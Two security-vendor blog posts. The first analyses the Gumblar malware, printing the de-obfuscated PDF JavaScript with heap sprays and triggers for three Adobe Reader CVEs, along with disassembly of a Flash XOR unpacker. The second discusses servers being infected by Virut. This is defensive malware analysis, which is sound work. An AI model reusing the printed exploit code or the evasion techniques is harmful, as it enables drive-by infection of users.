Inside Gumblar: Looking for the trigger

by Bing Liu
January 19, 2010 at 9:52 am

Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today[1]. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and its C&C communication[2][3][4]. However, scarce detail is available about the very vulnerabilities and exploits leveraged by Gumblar, and the question “How are the malicious PDF and Flash files crafted?” remains mostly unanswered.

This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim’s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim’s system; upon successful exploitation, the victim becomes effectively infected by Gumblar – without even noticing, since no action was required from the victim.

The following analysis concerns those malicious PDF and Flash files.

1. PDF Exploit Example

Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual – though surprisingly short) looks like this once uncompressed:

IPfFw=this.info.title;————————————————————————–Store the real code
function wwh(EOOGe){return unescape(EOOGe);}function mQC1G(){return ‘%’;}
xbnI=(IPfFw).replace(/[\R]/g,mQC1G());
eval(wwh(xbnI))

Interestingly, it appears that the real code is stored in the file title, which is what makes the JavaScript part so short.

Gumblar1

The following is the de-obfuscated code stored in the file title:

[...]
try{var qiQG=app.viewerVersion.toString(); qiQG=qiQG.charAt(0)*100+qiQG.charAt(2)*10+qiQG.charAt(4);
if((qiQG>=800)&&(qiQG<=812)){
var PYI=unescape(“%u0A0A%u0A0A”);var TAq=20;var QUI=TAq+Leje.length;while(PYI.length<QUI)PYI+=PYI;var VcT=PYI.substring(0,QUI);
var Zq3G=PYI.substring(0,PYI.length-QUI);
while(Zq3G.length+QUI<0×60000)Zq3G=Zq3G+Zq3G+VcT;for(qq8I=0;qq8I<1200;qq8I++){dHH[qq8I]=Zq3G+Leje}
var O07=”12999999999999999999″;for(KRv=0;KRv<276;KRv++)O07+=”8″;
util.printf(“%45000f”,O07);————————————————————-exploit CVE-2008-2992

}

if((qiQG<710)||((qiQG>800)&&(qiQG<812))){
VLog(); var uqG=unescape(“%u0c0c%u0c0c”);while(uqG.length<44952)uqG+=uqG;
this.collabStore=Collab.collectEmailInfo({subj:”",msg:uqG});——————————exploit CVE-2008-0655
}
if((qiQG<=900)&&(qiQG!=711)&&(qiQG!=813)&&app.doc.Collab.getIcon)

{
VLog(); var xkSfB=unescape(“%09″);while(xkSfB.length<0×4000){xkSfB+=xkSfB;
}
xkSfB=”N.”+xkSfB;
app.doc.Collab.getIcon(xkSfB);—————————————-exploit CVE-2009-0927

}
}catch(e){}

As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers.

2. Flash Exploit Example

Gumblar uses a similar run-time packer as the one discussed in Flash Mob Episode II: Attack of the Clones, thus I will only address the differences here. Again, I had to summon swfdump because swfscan failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main:

constructor * <q>[public]::Main=Main/Main()(0 params, 0 optional)
[stack:4 locals:3 scope:10-15 flags: need_activation]

slot 4: var <q>[packageinternal]::loader:<q>[public]flash.display::Loaderslot 3: var <q>[packageinternal]::i:<q>[public]::Numberslot 2: var <q>[packageinternal]::bytes:<q>[public]flash.utils::ByteArrayslot 1: var <q>[packageinternal]::SWF1:<q>[public]::Class
{
[...]
00018) + 1:2 getlex <q>[public]::Main_SWF1——————————————-What’s this?

00019) + 2:2 coerce <q>[public]::Class

00020) + 2:2 setslot 1

[...]

00024) + 2:2 getslot 1

00025) + 2:2 construct 0 params

00026) + 2:2 getlex <q>[public]flash.utils::ByteArray

00027) + 3:2 astypelate

00028) + 2:2 coerce <q>[public]flash.utils::ByteArray————————————Converted to ByteArray

00029) + 2:2 setslot 2——————————————————————Encoded flash data

[...]

00032) + 1:2 pushbyte 0

00033) + 2:2 convert_d

00034) + 2:2 setslot 3——————————————————————-Counter i

00035) + 0:2 jump ->58————————————————Go to test condition of while loop

00036) + 0:2 label——————————————————Loop Start

[...]

00043) + 3:2 getslot 2

00044) + 3:2 getscopeobject 1

00045) + 4:2 getslot 3

00046) + 4:2 getproperty <l,multi>{[private]Main,…[Truncated]}————————–Get ByteArray[i]

00047) + 3:2 pushbyte 61—————————————————————Decoding key

00048) + 4:2 bitxor———————————————————————-Decoding algorithm:XOR

00049) + 3:2 setproperty <l,multi>{[private]Main,…[Truncated]}————————–Store decoded flash

[...]

00059) + 1:2 getslot 3

00060) + 1:2 getscopeobject 1

00061) + 2:2 getslot 2

00062) + 2:2 getproperty <q>[public]::length

00063) + 2:2 iflt ->36——————————————————————-Loop if counter i is lower than length

00064) + 0:2 debugline 23

00065) + 0:2 getscopeobject 1

00066) + 1:2 findpropstrict <q>[public]flash.display::Loader

00067) + 2:2 constructprop <q>[public]flash.display::Loader, 0 params

00068) + 2:2 coerce <q>[public]flash.display::Loader

00069) + 2:2 setslot 4————————Initialize a flash.display::Loader to load decoded flash

[...]

00086) + 1:2 getslot 4

00087) + 1:2 getscopeobject 1

00088) + 2:2 getslot 2

00089) + 2:2 callpropvoid <q>[public]::loadBytes, 1 params——————————–Load decoded flash

[...]

}

As can be seen above, the same decryption
algorithm is used: simple XORing of the payload with a key. But wait a minute, where is the encoded flash data? It’s nowhere to be found in the ActionScript part. What is “Main_SWF1″? Let’s search outside of ActionScript, in the swfdump output:

[057]     10350 DEFINEBINARY defines id 0001————————————————DEFINEBINARY Tag(0×57)

[...]

[04c]        21 SYMBOLCLASS

exports 0001 as “Main_SWF1″—————————————————-Export Binary data as “Main_SWF1″

The encoded flash data is stored in tag DEFINEBINARY!

Gumblar2

The decoded flash is the same as F2.swf, as discussed in Flash Mob Episode II: Attack of the Clones. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found!

As a conclusion, Gumblar hides its weapons carefully: Sitting in “resources” zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection.

Author bio: Bing Liu works as a senior researcher/IPS manager for Fortinet. 10+ years work experience in the field of Information Security/CISSP.

Spawning grounds

by Derek Manky
July 8, 2009 at 10:44 am

With modern threats moving to multiple attack vectors, end users and clients need to be extra cautious. Malicious links are coming fast and furious through layered attacks – bundled up in obfuscated javascript, or on your favorite social networking site. The core of these attacks are quite primitive, and in fact, in most cases nearly identical with the end goal to install malicious payload on a target. Ultimately, the front end of these attacks have moved up higher into the application layer, riding on complex services while the back end (core) remains the same: malicious links, exploits and file attachments.

Since the world wide web and HTTP have become so widely adopted for new complex services, security holes and cloaking methods have arisen. In turn, this realm has become a playground for malware authors, driven by the vast amount of client traffic integrating with the aforementioned services. To successfuly attack clients, servers have increasingly been in focus as a primary attack point. We have witnessed this not only with classic SQL injection, PHP code injection, SEO campaigns, etc – but also with malware recently, turning servers into spawning grounds for all successive client side attacks. For instance, Gumblar was known to siphon FTP account credentials to gain access to servers. The most recent variation of Virut (W32/Virut.CE) targets server side pages – HTM, ASP, and PHP. These pages are injected with further malicious links, leading to a chain of infections. We detect this injected server code as HTML/Virut.CE, and have noticed success on Virut’s part with this methodology.

While Virut.CE has only been in the wild for less than six months, its predecessor who I have written about before – Virut.A, has had much success over the past two years and remains very prevalent to date. Virut.CE seems to be following a similar path, with increasing detection not only on client side infections – but server side as well. Indeed, detections for HTML/Virut.CE, the infected server page component of Virut.CE, rose significantly in April 2009 as infections of W32/Virut.CE begin to pick up. Given Virut.A’s track record, servers may be under attack for quite some time with this threat. While this is only an example of one such attack, it should serve as a reminder that a valid security framework is required for both servers and clients to tackle next generation threats. Such a framework will effectively attack the spawning grounds of modern threats and will surely go a long way in terms of mitigation.

Author bio: Derek Manky is FortiGuard Labs' senior security strategist and contributes to security research and development, while also acting as a bridge to the public forum on results and findings. He coordinates research team efforts and manages responsible disclosure, and industry collaboration efforts between Fortinet and other vendors.